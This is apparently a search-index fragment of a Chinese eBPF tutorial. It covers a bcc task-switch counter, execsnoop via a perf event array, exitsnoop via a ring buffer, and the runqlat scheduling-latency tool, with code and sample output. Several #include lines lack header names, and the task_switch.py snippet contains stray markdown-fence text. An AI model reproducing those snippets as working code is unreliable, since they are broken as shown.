更复杂的示例程序。该程序将在内核中每次任务切换时被调用，并在一个 BPF 映射中记录新旧进程的 pid。 下面的 C 程序引入了一个新的概念：prev 参数。BCC 前端会特殊处理这个参数，从而使得对这个变量的访问从由 kprobe 基础设施传递的保存上下文中进行读取。从位置1开始的参数的原型应该与被 kprobed 的内核函数的原型匹配。如果这样做，程序就可以无缝访问函数参数。 #include \n#include  struct key_t { u32 prev_pid; u32 curr_pid;\n}; BPF_HASH(stats, struct key_t, u64, 1024);\nint count_sched(struct pt_regs *ctx, struct task_struct *prev) { struct key_t key = {}; u64 zero = 0, *val; key.curr_pid = bpf_get_current_pid_tgid(); key.prev_pid = prev->pid; // could also use `stats.increment(key);` val = stats.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n} 用户空间组件加载上面显示的文件，并将其附加到 finish_task_switch 内核函数上。 BPF 对象的 [] 运算符允许访问程序中的每个 BPF_HASH，允许对内核中的值进行通行访问。可以像使用任何其他 python dict 对象一样使用该对象：读取、更新和删除操作都是允许的。 from bcc import BPF\nfrom time import sleep b = BPF(src_file=\"task_switch.c\")\".```markdown\n```Chinese\nb.attach_kprobe(event=\"finish_task_switch\", fn_name=\"count_sched\") # 生成多个调度事件\nfor i in range(0, 100): sleep(0.01) for k, v in b[\"stats\"].items(): print(\"task_switch[%5d->%5d]=%u\" % (k.prev_pid, k.curr_pid, v.value)) 这些程序可以在文件 examples/tracing/task_switch.c 和 examples/tracing/task_switch.py 中找到。","breadcrumbs":"bcc Python Developer Tutorial » 第16课. task_switch.c","id":"388","title":"第16课. task_switch.c"},"389":{"body":"要进行进一步研究，请参阅 Sasha Goldshtein 的 linux-tracing-workshop ，其中包含了额外的实验。bcc/tools 中还有许多工具可供研究。 如果您希望为 bcc 贡献工具，请阅读 CONTRIBUTING-SCRIPTS.md 。在主要的 README.md 的底部，您还会找到与我们联系的方法。祝您好运，祝您成功追踪！","breadcrumbs":"bcc Python Developer Tutorial » 第17课. 进一步研究","id":"389","title":"第17课. 进一步研究"},"39":{"body":"本文主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。使用 hash map 需要定义一个结构体： struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); 并使用一些对应的 API 进行访问，例如 bpf_map_lookup_elem、bpf_map_update_elem、bpf_map_delete_elem 等。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » 总结","id":"39","title":"总结"},"390":{"body":"TODO","breadcrumbs":"bcc Python Developer Tutorial » 网络","id":"390","title":"网络"},"4":{"body":"Google 或者其他搜索引擎查找：eBPF 询问 ChatGPT 之类的东西：eBPF 是什么？ 推荐： 阅读 ebpf 简介： https://ebpf.io/ （30min） 简要了解一下 ebpf 内核相关文档： https://prototype-kernel.readthedocs.io/en/latest/bpf/ （知道有问题去哪里查询，30min） 阅读 ebpf 中文入门指南： https://www.modb.pro/db/391570 （1h） 有大量的参考资料： https://github.com/zoidbergwill/awesome-ebpf （2-3h） 可以选自己感兴趣的 PPT 翻一翻： https://github.com/gojue/ebpf-slide （1-2h） 回答三个问题： 了解 eBPF 是什么东西？为啥要有这个玩意，不能用内核模块？ 它有什么功能？能在 Linux 内核里面完成哪些事情？有哪些 eBPF 程序的类型和 helper（不需要知道全部，但是需要知道去哪里找）？ 能拿来做什么？比如说在哪些场景中进行运用？网络、安全、可观测性？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 入门（5-7h）","id":"4","title":"eBPF 入门（5-7h）"},"40":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第七篇，主要介绍如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，不需要再通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出。通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » eBPF 入门实践教程七：捕获进程执行事件，通过 perf event array 向用户态打印输出","id":"40","title":"eBPF 入门实践教程七：捕获进程执行事件，通过 perf event array 向用户态打印输出"},"41":{"body":"eBPF 提供了两个环形缓冲区，可以用来将信息从 eBPF 程序传输到用户区控制器。第一个是perf环形缓冲区，，它至少从内核v4.15开始就存在了。第二个是后来引入的 BPF 环形缓冲区。本文只考虑perf环形缓冲区。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » perf buffer","id":"41","title":"perf buffer"},"42":{"body":"通过 perf event array 向用户态命令行打印输出，需要编写一个头文件，一个 C 源文件。示例代码如下： 头文件：execsnoop.h #ifndef __EXECSNOOP_H\n#define __EXECSNOOP_H #define TASK_COMM_LEN 16 struct event { int pid; int ppid; int uid; int retval; bool is_exit; char comm[TASK_COMM_LEN];\n}; #endif /* __EXECSNOOP_H */ 源文件：execsnoop.bpf.c // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n#include \n#include \n#include \n#include \"execsnoop.h\" struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/syscalls/sys_enter_execve\")\nint tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx)\n{ u64 id; pid_t pid, tgid; struct event event={0}; struct task_struct *task; uid_t uid = (u32)bpf_get_current_uid_gid(); id = bpf_get_current_pid_tgid(); tgid = id >> 32; event.pid = tgid; event.uid = uid; task = (struct task_struct*)bpf_get_current_task(); event.ppid = BPF_CORE_READ(task, real_parent, tgid); char *cmd_ptr = (char *) BPF_CORE_READ(ctx, args[0]); bpf_probe_read_str(&event.comm, sizeof(event.comm), cmd_ptr); bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); return 0;\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码定义了个 eBPF 程序，用于捕获进程执行 execve 系统调用的入口。 在入口程序中，我们首先获取了当前进程的进程 ID 和用户 ID，然后通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体，并通过 bpf_probe_read_str 函数读取了进程名称。最后，我们通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。 使用这段代码，我们就可以捕获 Linux 内核中进程执行的事件, 并分析进程的执行情况。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 使用容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者使用 ecc 编译： ecc execsnoop.bpf.c execsnoop.h 运行 $ sudo ./ecli run package.json TIME PID PPID UID COMM 21:28:30 40747 3517 1000 node\n21:28:30 40748 40747 1000 sh\n21:28:30 40749 3517 1000 node\n21:28:30 40750 40749 1000 sh\n21:28:30 40751 3517 1000 node\n21:28:30 40752 40751 1000 sh\n21:28:30 40753 40752 1000 cpuUsage.sh","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » execsnoop","id":"42","title":"execsnoop"},"43":{"body":"本文介绍了如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。在 libbpf 对应的内核态代码中，定义这样一个结构体和对应的头文件： struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 就可以往用户态直接发送信息。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » 总结","id":"43","title":"总结"},"44":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出","id":"44","title":"eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出"},"45":{"body":"现在有一个新的 BPF 数据结构可用，eBPF 环形缓冲区（ring buffer）。它解决了 BPF perf buffer（当今从内核向用户空间发送数据的事实上的标准）的内存效率和事件重排问题，同时达到或超过了它的性能。它既提供了与 perf buffer 兼容以方便迁移，又有新的保留/提交API，具有更好的可用性。另外，合成和真实世界的基准测试表明，在几乎所有的情况下，所以考虑将其作为从BPF程序向用户空间发送数据的默认选择。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » ring buffer","id":"45","title":"ring buffer"},"46":{"body":"只要 BPF 程序需要将收集到的数据发送到用户空间进行后处理和记录，它通常会使用 BPF perf buffer（perfbuf）来实现。Perfbuf 是每个CPU循环缓冲区的集合，它允许在内核和用户空间之间有效地交换数据。它在实践中效果很好，但由于其按CPU设计，它有两个主要的缺点，在实践中被证明是不方便的：内存的低效使用和事件的重新排序。 为了解决这些问题，从Linux 5.8开始，BPF提供了一个新的BPF数据结构（BPF map）。BPF环形缓冲区（ringbuf）。它是一个多生产者、单消费者（MPSC）队列，可以同时在多个CPU上安全共享。 BPF ringbuf 支持来自 BPF perfbuf 的熟悉的功能: 变长的数据记录。 能够通过内存映射区域有效地从用户空间读取数据，而不需要额外的内存拷贝和/或进入内核的系统调用。 既支持epoll通知，又能以绝对最小的延迟进行忙环操作。 同时，BPF ringbuf解决了BPF perfbuf的以下问题: 内存开销。 数据排序。 浪费的工作和额外的数据复制。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF ringbuf vs eBPF perfbuf","id":"46","title":"eBPF ringbuf vs eBPF perfbuf"},"47":{"body":"本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件，并使用 ring buffer 向用户态打印输出。 使用 ring buffer 向用户态打印输出的步骤和 perf buffer 类似，首先需要定义一个头文件： 头文件：exitsnoop.h #ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN];\n}; #endif /* __BOOTSTRAP_H */ 源文件：exitsnoop.bpf.c #include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"exitsnoop.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, start_time = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); start_time = BPF_CORE_READ(task, start_time); e->duration_ns = bpf_ktime_get_ns() - start_time; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码展示了如何使用 exitsnoop 监控进程退出事件并使用 ring buffer 向用户态打印输出： 首先，我们引入所需的头文件和 exitsnoop.h。 定义一个名为 \"LICENSE\" 的全局变量，内容为 \"Dual BSD/GPL\"，这是 eBPF 程序的许可证要求。 定义一个名为 rb 的 BPF_MAP_TYPE_RINGBUF 类型的映射，它将用于将内核空间的数据传输到用户空间。指定 max_entries 为 256 * 1024，代表 ring buffer 的最大容量。 定义一个名为 handle_exit 的 eBPF 程序，它将在进程退出事件触发时执行。传入一个名为 ctx 的 trace_event_raw_sched_process_template 结构体指针作为参数。 使用 bpf_get_current_pid_tgid() 函数获取当前任务的 PID 和 TID。对于主线程，PID 和 TID 相同；对于子线程，它们是不同的。我们只关心进程（主线程）的退出，因此在 PID 和 TID 不同时返回 0，忽略子线程退出事件。 使用 bpf_ringbuf_reserve 函数为事件结构体 e 在 ring buffer 中预留空间。如果预留失败，返回 0。 使用 bpf_get_current_task() 函数获取当前任务的 task_struct 结构指针。 将进程相关信息填充到预留的事件结构体 e 中，包括进程持续时间、PID、PPID、退出代码以及进程名称。 最后，使用 bpf_ringbuf_submit 函数将填充好的事件结构体 e 提交到 ring buffer，之后在用户空间进行处理和输出。 这个示例展示了如何使用 exitsnoop 和 ring buffer 在 eBPF 程序中捕获进程退出事件并将相关信息传输到用户空间。这对于分析进程退出原因和监控系统行为非常有用。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » exitsnoop","id":"47","title":"exitsnoop"},"48":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest Or $ ecc exitsnoop.bpf.c exitsnoop.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ./ecli run package.json TIME PID PPID EXIT_CODE DURATION_NS COMM 21:40:09 42050 42049 0 0 which\n21:40:09 42049 3517 0 0 sh\n21:40:09 42052 42051 0 0 ps\n21:40:09 42051 3517 0 0 sh\n21:40:09 42055 42054 0 0 sed\n21:40:09 42056 42054 0 0 cat\n21:40:09 42057 42054 0 0 cat\n21:40:09 42058 42054 0 0 cat\n21:40:09 42059 42054 0 0 cat","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » Compile and Run","id":"48","title":"Compile and Run"},"49":{"body":"本文介绍了如何使用 eunomia-bpf 开发一个简单的 BPF 程序，该程序可以监控 Linux 系统中的进程退出事件, 并将捕获的事件通过 ring buffer 发送给用户空间程序。在本文中，我们使用 eunomia-bpf 编译运行了这个例子。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » 总结","id":"49","title":"总结"},"5":{"body":"了解并尝试一下 eBPF 开发框架： BCC 开发各类小工具的例子： https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md （跑一遍，3-4h） libbpf 的一些例子： https://github.com/libbpf/libbpf-bootstrap （选感兴趣的运行一下，并阅读一下源代码，2h） 基于 libbpf 和 eunomia-bpf 的教程： https://github.com/eunomia-bpf/bpf-developer-tutorial （阅读 1-10 的部分，3-4h） 其他开发框架：Go 语言或者 Rust 语言，请自行搜索并且尝试（0-2h） 有任何问题或者想了解的东西，不管是不是和本项目相关，都可以在本项目的 discussions 里面开始讨论。 回答一些问题，并且进行一些尝试（2-5h）： 如何开发一个最简单的 eBPF 程序？ 如何用 eBPF 追踪一个内核功能或函数？有很多种方法，举出对应的代码； 有哪些方案能通过用户态和内核态通信？如何从用户态向内核态传送信息？如何从内核态向用户态传递信息？举出代码示例； 编写一个你自己的 eBPF 程序，实现一个功能； eBPF 程序的整个生命周期里面，分别在用户态和内核态做了哪些事情？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 了解如何开发 eBPF 程序（10-15h）","id":"5","title":"了解如何开发 eBPF 程序（10-15h）"},"50":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 runqlat 是一个 eBPF 工具，用于分析 Linux 系统的调度性能。具体来说，runqlat 用于测量一个任务在被调度到 CPU 上运行之前在运行队列中等待的时间。这些信息对于识别性能瓶颈和提高 Linux 内核调度算法的整体效率非常有用。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录","id":"50","title":"eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录"},"51":{"body":"本教程是 eBPF 入门开发实践系列的第九部分，主题是 \"捕获进程调度延迟\"。在此，我们将介绍一个名为 runqlat 的程序，其作用是以直方图的形式记录进程调度延迟。 Linux 操作系统使用进程来执行所有的系统和用户任务。这些进程可能被阻塞、杀死、运行，或者正在等待运行。处在后两种状态的进程数量决定了 CPU 运行队列的长度。 进程有几种可能的状态，如： 可运行或正在运行 可中断睡眠 不可中断睡眠 停止 僵尸进程 等待资源或其他函数信号的进程会处在可中断或不可中断的睡眠状态：进程被置入睡眠状态，直到它需要的资源变得可用。然后，根据睡眠的类型，进程可以转移到可运行状态，或者保持睡眠。 即使进程拥有它需要的所有资源，它也不会立即开始运行。它会转移到可运行状态，与其他处在相同状态的进程一起排队。CPU可以在接下来的几秒钟或毫秒内执行这些进程。调度器为 CPU 排列进程，并决定下一个要执行的进程。 根据系统的硬件配置，这个可运行队列（称为 CPU 运行队列）的长度可以短也可以长。短的运行队列长度表示 CPU 没有被充分利用。另一方面，如果运行队列长，那么可能意味着 CPU 不够强大，无法执行所有的进程，或者 CPU 的核心数量不足。在理想的 CPU 利用率下，运行队列的长度将等于系统中的核心数量。 进程调度延迟，也被称为 \"run queue latency\"，是衡量线程从变得可运行（例如，接收到中断，促使其处理更多工作）到实际在 CPU 上运行的时间。在 CPU 饱和的情况下，你可以想象线程必须等待其轮次。但在其他奇特的场景中，这也可能发生，而且在某些情况下，它可以通过调优减少，从而提高整个系统的性能。 我们将通过一个示例来阐述如何使用 runqlat 工具。这是一个负载非常重的系统： # runqlat\nTracing run queue latency... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* | 16384 -> 32767 : 809 |****************************************| 32768 -> 65535 : 64 |*** | 在这个输出中，我们看到了一个双模分布，一个模在0到15微秒之间，另一个模在16到65毫秒之间。这些模式在分布（它仅仅是 \"count\" 列的视觉表示）中显示为尖峰。例如，读取一行：在追踪过程中，809个事件落入了16384到32767微秒的范围（16到32毫秒）。 在后续的教程中，我们将深入探讨如何利用 eBPF 对此类指标进行深度跟踪和分析，以更好地理解和优化系统性能。同时，我们也将学习更多关于 Linux 内核调度器、中断处理和 CPU 饱 runqlat 的实现利用了 eBPF 程序，它通过内核跟踪点和函数探针来测量进程在运行队列中的时间。当进程被排队时，trace_enqueue 函数会在一个映射中记录时间戳。当进程被调度到 CPU 上运行时，handle_switch 函数会检索时间戳，并计算当前时间与排队时间之间的时间差。这个差值（或 delta）被用于更新进程的直方图，该直方图记录运行队列延迟的分布。该直方图可用于分析 Linux 内核的调度性能。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 原理","id":"51","title":"runqlat 原理"},"52":{"body":"","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 代码实现","id":"52","title":"runqlat 代码实现"},"53":{"body":"首先我们需要编写一个源代码文件 runqlat.bpf.c: // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include \n#include \n#include \n#include \n#include \"runqlat.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\"\n#include \"core_fixes.bpf.h\" #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ struct hist *histp; u64 *tsp, slot; u32 pid, hkey; s64 delta; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (get_task_state(prev) == TASK_RUNNING) trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid)); pid = BPF_CORE_READ(next, pid); tsp = bpf_map_lookup_elem(&start, &pid); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (delta < 0) goto cleanup; if (targ_per_process) hkey = BPF_CORE_READ(next, tgid); else if (targ_per_thread) hkey = pid; else if (targ_per_pidns) hkey = pid_namespace(next); else hkey = -1; histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero); if (!histp) goto cleanup; if (!histp->comm[0]) bpf_probe_read_kernel_str(&histp->comm, sizeof(histp->comm), next->comm); if (targ_ms) delta /= 1000000U; else delta /= 1000U; slot = log2l(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); cleanup: bpf_map_delete_elem(&start, &pid); return 0;\n} SEC(\"raw_tp/sched_wakeup\")\nint BPF_PROG(handle_sched_wakeup, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_wakeup_new\")\nint BPF_PROG(handle_sched_wakeup_new, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_switch\")\nint BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next)\n{ return handle_switch(preempt, prev, next);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这其中定义了一些常量和全局变量，用于过滤对应的追踪目标： #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; 这些变量包括最大映射项数量、任务状态、过滤选项和目标选项。这些选项可以通过用户空间程序设置，以定制 eBPF 程序的行为。 接下来，定义了一些 eBPF 映射： struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); 这些映射包括： cgroup_map 用于过滤 cgroup； start 用于存储进程入队时的时间戳； hists 用于存储直方图数据，记录进程调度延迟。 接下来是一些辅助函数： trace_enqueue 函数用于在进程入队时记录其时间戳： static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} pid_namespace 函数用于获取进程所属的 PID namespace： static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} handle_switch 函数是核心部分，用于处理调度切换事件，计算进程调度延迟并更新直方图数据： static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ ...\n} 首先，函数根据 filter_cg 的设置判断是否需要过滤 cgroup。然后，如果之前的进程状态为 TASK_RUNNING，则调用 trace_enqueue 函数记录进程的入队时间。接着，函数查找下一个进程的入队时间戳，如果找不到，直接返回。计算调度延迟（delta），并根据不同的选项设置（targ_per_process，targ_per_thread，targ_per_pidns），确定直方图映射的键（hkey）。然后查找或初始化直方图映射，更新直方图数据，最后删除进程的入队时间戳记录。 接下来是 eBPF 程序的入口点。程序使用三个入口点来捕获不同的调度事件： handle_sched_wakeup：用于处理 sched_wakeup 事件，当一个进程从睡眠状态被唤醒时触发。 handle_sched_wakeup_new：用于处理 sched_wakeup_new 事件，当一个新创建的进程被唤醒时触发。 handle_sched_switch：用于处理 sched_switch 事件，当调度器选择一个新的进程运行时触发。 这些入口点分别处理不同的调度事件，但都会调用 handle_switch 函数来计算进程的调度延迟并更新直方图数据。 最后，程序包含一个许可证声明： char LICENSE[] SEC(\"license\") = \"GPL\"; 这一声明指定了 eBPF 程序的许可证类型，这里使用的是 \"GPL\"。这对于许多内核功能是必需的，因为它们要求 eBPF 程序遵循 GPL 许可证。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.bpf.c","id":"53","title":"runqlat.bpf.c"},"54":{"body":"然后我们需要定义一个头文件runqlat.h，用来给用户态处理从内核态上报的事件： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#ifndef __RUNQLAT_H\n#define __RUNQLAT_H #define TASK_COMM_LEN 16\n#define MAX_SLOTS 26 struct hist { __u32 slots[MAX_SLOTS]; char comm[TASK_COMM_LEN];\n}; #endif /* __RUNQLAT_H */","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.h","id":"54","title":"runqlat.h"},"55":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc runqlat.bpf.c runqlat.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ecli run examples/bpftools/runqlat/package.json -h\nUsage: runqlat_bpf [--help] [--version] [--verbose] [--filter_cg] [--targ_per_process] [--targ_per_thread] [--targ_per_pidns] 